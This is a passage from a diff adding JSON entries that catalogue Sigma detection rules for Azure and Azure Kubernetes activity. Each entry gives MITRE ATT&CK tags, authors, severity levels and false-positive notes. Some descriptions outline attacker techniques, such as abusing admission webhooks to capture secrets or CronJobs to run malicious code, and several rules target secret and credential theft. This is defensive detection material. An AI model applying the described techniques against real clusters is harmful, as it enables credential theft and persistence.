"https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_container_registry_created_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/07", + "filename": "azure_container_registry_created_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "Container Registry being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Container Registry created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Number of VM creations or deployment activities occur in Azure via the azureactivity log.", + "uuid": "d2d901db-7a75-45a1-bc39-0cbf00812192", + "value": "Number Of Resource Creation Or Deployment Activities", + "meta": { + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Creating_Anomalous_Number_Of_Resources_detection.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_creating_number_of_resources_detection.yml" + ], + "tags": [ + "attack.t1098" + ], + "creation_date": "2020/05/07", + "filename": "azure_creating_number_of_resources_detection.yml", + "author": "sawwinnnaung", + "level": "medium", + "falsepositive": [ + "Valid change" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a device in azure is no longer managed or compliant", + "uuid": "542b9912-c01f-4e3f-89a8-014c48cdca7d", + "value": "Azure Device No Longer Managed or Compliant", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#core-directory", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_device_no_longer_managed_or_compliant.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/03", + "filename": "azure_device_no_longer_managed_or_compliant.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Administrator may have forgotten to review the device." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a device or device configuration in azure is modified or deleted.", + "uuid": "46530378-f9db-4af9-a9e5-889c177d3881", + "value": "Azure Device or Configuration Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#core-directory", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_device_or_configuration_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/03", + "filename": "azure_device_or_configuration_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Device or device configuration being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Device or device configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when DNS zone is modified or deleted.", + "uuid": "af6925b0-8826-47f1-9324-337507a0babd", + "value": "Azure DNS Zone Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_dns_zone_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/08", + "filename": "azure_dns_zone_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "DNS zone modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "DNS zone modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when an user or application modified the federation settings on the domain.", + "uuid": "352a54e1-74ba-4929-9d47-8193d67aba1e", + "value": "Azure Domain Federation Settings Modified", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1078", + "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-monitor-federation-changes", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_federation_modified.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ], + "creation_date": "2021/09/06", + "filename": "azure_federation_modified.yml", + "author": "Austin Songer", + "level": "medium", + "falsepositive": [ + "Federation Settings being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Federation Settings modified from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a firewall is created, modified, or deleted.", + "uuid": "512cf937-ea9b-4332-939c-4c2c94baadcd", + "value": "Azure Firewall Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_firewall_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/08", + "filename": "azure_firewall_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Firewall being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Firewall modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when Rule Collections (Application, NAT, and Network) is being modified or deleted.", + "uuid": "025c9fe7-db72-49f9-af0d-31341dd7dd57", + "value": "Azure Firewall Rule Collection Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_firewall_rule_collection_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/08", + "filename": "azure_firewall_rule_collection_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Rule Collections (Application, NAT, and Network) being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Rule Collections (Application, NAT, and Network) modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.", + "uuid": "a622fcd2-4b5a-436a-b8a2-a4171161833c", + "value": "Granting Of Permissions To An Account", + "meta": { + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Granting_Permissions_To_Account_detection.yaml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_granting_permission_detection.yml" + ], + "tags": [ + "attack.t1098" + ], + "creation_date": "2020/05/07", + "filename": "azure_granting_permission_detection.yml", + "author": "sawwinnnaung", + "level": "medium", + "falsepositive": [ + "Valid change" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert on group membership additions of groups that have CA policy modification access", + "uuid": "91c95675-1f27-46d0-bead-d1ae96b97cd3", + "value": "User Added To Group With CA Policy Modification Access", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_group_user_addition_ca_modification.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2022/08/04", + "filename": "azure_group_user_addition_ca_modification.yml", + "author": "Mark Morowczynski '@markmorow', Thomas Detzner '@tdetzner'", + "level": "medium", + "falsepositive": [ + "User removed from the group is approved" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Monitor and alert on group membership removal of groups that have CA policy modification access", + "uuid": "665e2d43-70dc-4ccc-9d27-026c9dd7ed9c", + "value": "User Removed From Group With CA Policy Modification Access", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_group_user_removal_ca_modification.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ], + "creation_date": "2022/08/04", + "filename": "azure_group_user_removal_ca_modification.yml", + "author": "Mark Morowczynski '@markmorow', Thomas Detzner '@tdetzner'", + "level": "medium", + "falsepositive": [ + "User removed from the group is approved" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a user that doesn't have permissions to invite a guest user attempts to invite one.", + "uuid": "0b4b72e3-4c53-4d5b-b198-2c58cfef39a9", + "value": "Guest User Invited By Non Approved Inviters", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#things-to-monitor", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_guest_invite_failure.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1078" + ], + "creation_date": "2022/08/10", + "filename": "azure_guest_invite_failure.yml", + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "level": "medium", + "falsepositive": [ + "A non malicious user is unaware of the proper process" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects the change of user type from \"Guest\" to \"Member\" for potential elevation of privilege.", + "uuid": "8dee7a0d-43fd-4b3c-8cd1-605e189d195e", + "value": "User State Changed From Guest To Member", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_guest_to_member.yml" + ], + "tags": [ + "attack.t1078" + ], + "creation_date": "2022/06/30", + "filename": "azure_guest_to_member.yml", + "author": "MikeDuddington, '@dudders1'", + "level": "medium", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a Keyvault Key is modified or deleted in Azure.", + "uuid": "80eeab92-0979-4152-942d-96749e11df40", + "value": "Azure Keyvault Key Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_key_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.credential_access", + "attack.t1552", + "attack.t1552.001" + ], + "creation_date": "2021/08/16", + "filename": "azure_keyvault_key_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Key being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Key modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a key vault is modified or deleted.", + "uuid": "459a2970-bb84-4e6a-a32e-ff0fbd99448d", + "value": "Azure Key Vault Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.credential_access", + "attack.t1552", + "attack.t1552.001" + ], + "creation_date": "2021/08/16", + "filename": "azure_keyvault_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Key Vault being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Key Vault modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when secrets are modified or deleted in Azure.", + "uuid": "b831353c-1971-477b-abb6-2828edc3bca1", + "value": "Azure Keyvault Secrets Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_secrets_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.credential_access", + "attack.t1552", + "attack.t1552.001" + ], + "creation_date": "2021/08/16", + "filename": "azure_keyvault_secrets_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Secrets being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when an admission controller is executed in Azure Kubernetes.\nA Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\nThe behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\nAn adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\nFor example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod.\nAn adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\nAn adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\n", + "uuid": "a61a3c56-4ce2-4351-a079-88ae4cbd2b58", + "value": "Azure Kubernetes Admission Controller", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_admission_controller.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1078", + "attack.credential_access", + "attack.t1552", + "attack.t1552.007" + ], + "creation_date": "2021/11/25", + "filename": "azure_kubernetes_admission_controller.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Azure Kubernetes Admissions Controller may be done by a system administrator.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when a Azure Kubernetes Cluster is created or deleted.", + "uuid": "9541f321-7cba-4b43-80fc-fbd1fb922808", + "value": "Azure Kubernetes Cluster Created or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_cluster_created_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/07", + "filename": "azure_kubernetes_cluster_created_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "Kubernetes cluster being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Kubernetes cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\nKubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\nAn Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n", + "uuid": "1c71e254-6655-42c1-b2d6-5e4718d7fc0a", + "value": "Azure Kubernetes CronJob", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", + "https://kubernetes.io/docs/concepts/workloads/controllers/job/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_cronjob.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.execution" + ], + "creation_date": "2021/11/22", + "filename": "azure_kubernetes_cronjob.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Azure Kubernetes CronJob/Job may be done by a system administrator.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects when Events are deleted in Azure Kubernetes. An adversary may delete events in Azure Kubernetes in an attempt to evade detection.", + "uuid": "225d8b09-e714-479c-a0e4-55e6f29adf35", + "value": "Azure Kubernetes Events Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://github.com/elastic/detection-rules/blob/da3852b681cf1a33898b1535892eab1f3a76177a/rules/integrations/azure/defense_evasion_kubernetes_events_deleted.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_events_deleted.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562", + "attack.t1562.001" + ], + "creation_date": "2021/07/24", + "filename": "azure_kubernetes_events_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Event deletions may be done by a system or network administrator. Verify whether the username, hostname, and/or resource name should be making changes in your environment. Events deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a Azure Kubernetes network policy is modified or deleted.", + "uuid": "08d6ac24-c927-4469-b3b7-2e422d6e3c43", + "value": "Azure Kubernetes Network Policy Change", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_network_policy_change.yml" + ], + "tags": [ + "attack.impact", + "attack.credential_access" + ], + "creation_date": "2021/08/07", + "filename": "azure_kubernetes_network_policy_change.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Network Policy being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Network Policy being modified and deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies the deletion of Azure Kubernetes Pods.", + "uuid": "b02f9591-12c3-4965-986a-88028629b2e1", + "value": "Azure Kubernetes Pods Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://github.com/elastic/detection-rules/blob/065bf48a9987cd8bd826c098a30ce36e6868ee46/rules/integrations/azure/impact_kubernetes_pod_deleted.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_pods_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/07/24", + "filename": "azure_kubernetes_pods_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Pods may be deleted by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Pods deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detects the creation or patching of potential malicious RoleBinding/ClusterRoleBinding.", + "uuid": "25cb259b-bbdc-4b87-98b7-90d7c72f8743", + "value": "Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_rolebinding_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.credential_access" + ], + "creation_date": "2021/08/07", + "filename": "azure_kubernetes_rolebinding_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "RoleBinding/ClusterRoleBinding being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "RoleBinding/ClusterRoleBinding modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when ClusterRoles/Roles are being modified or deleted.", + "uuid": "818fee0c-e0ec-4e45-824e-83e4817b0887", + "value": "Azure Kubernetes Sensitive Role Access", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_role_access.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/07", + "filename": "azure_kubernetes_role_access.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "ClusterRoles/Roles being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "ClusterRoles/Roles modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a Kubernetes account access a sensitive objects such as configmaps or secrets.", + "uuid": "7ee0b4aa-d8d4-4088-b661-20efdf41a04c", + "value": "Azure Kubernetes Secret or Config Object Access", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_secret_or_config_object_access.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/07", + "filename": "azure_kubernetes_secret_or_config_object_access.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Sensitive objects may be accessed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Sensitive objects accessed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a service account is modified or deleted.", + "uuid": "12d027c3-b48c-4d9d-8bb6-a732200034b2", + "value": "Azure Kubernetes Service Account Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", + "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", + "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", + "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", + "https://attack.mitre.org/matrices/enterprise/cloud/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_service_account_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/08/07", + "filename": "azure_kubernetes_service_account_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Service account being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Service account modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Alert on when legecy authentication has been used on an account", + "uuid": "60f6535a-760f-42a9-be3f-c9a0a025906e", + "value": "Use of Legacy Authentication Protocols", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_legacy_authentication_protocols.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1212" + ], + "creation_date": "2022/06/17", + "filename": "azure_legacy_authentication_protocols.yml", + "author": "Yochana Henderson, '@Yochana-H'", + "level": "high", + "falsepositive": [ + "User has been put in acception group so they can use legacy authentication" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detect failed attempts to sign in to disabled accounts.", + "uuid": "908655e0-25cf-4ae1-b775-1c8ce9cf43d8", + "value": "Login to Disabled Account", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_login_to_disabled_account.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ], + "creation_date": "2021/10/10", + "filename": "azure_login_to_disabled_account.yml", + "author": "AlertIQ", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "User has indicated they haven't instigated the MFA prompt and could indicate an attacker has the password for the account.", + "uuid": "e40f4962-b02b-4192-9bfe-245f7ece1f99", + "value": "Multifactor Authentication Denied", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_denies.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078.004" + ], + "creation_date": "2022/03/24", + "filename": "azure_mfa_denies.yml", + "author": "AlertIQ", + "level": "medium", + "falsepositive": [ + "Users actually login but miss-click into the Deny button when MFA prompt." + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Detection for when multi factor authentication has been disabled, which might indicate a malicious activity to bypass authentication mechanisms.", + "uuid": "7ea78478-a4f9-42a6-9dcd-f861816122bf", + "value": "Disabled MFA to Bypass Authentication Mechanisms", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1556/", + "https://docs.microsoft.com/en-us/azure/active-directory/authentication/howto-mfa-userstates", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_disabled.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1556" + ], + "creation_date": "2022/02/08", + "filename": "azure_mfa_disabled.yml", + "author": "@ionsor", + "level": "medium", + "falsepositive": [ + "Authorized modification by administrators" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can't pass the MFA challenge.", + "uuid": "5496ff55-42ec-4369-81cb-00f417029e25", + "value": "Multifactor Authentication Interrupted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_interrupted.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078.004" + ], + "creation_date": "2021/10/10", + "filename": "azure_mfa_interrupted.yml", + "author": "AlertIQ", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "azure" + } + }, + { + "description": "Identifies when a Firewall Policy is Modified or Deleted.", + "uuid": "83c17918-746e-4bd9-920b-8e098bf88c23", + "value": "Azure Network Firewall Policy Modified or Deleted", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_firewall_policy_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/02", + "filename": "azure_network_firewall_policy_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Firewall Policy being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Firewall Policy modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + 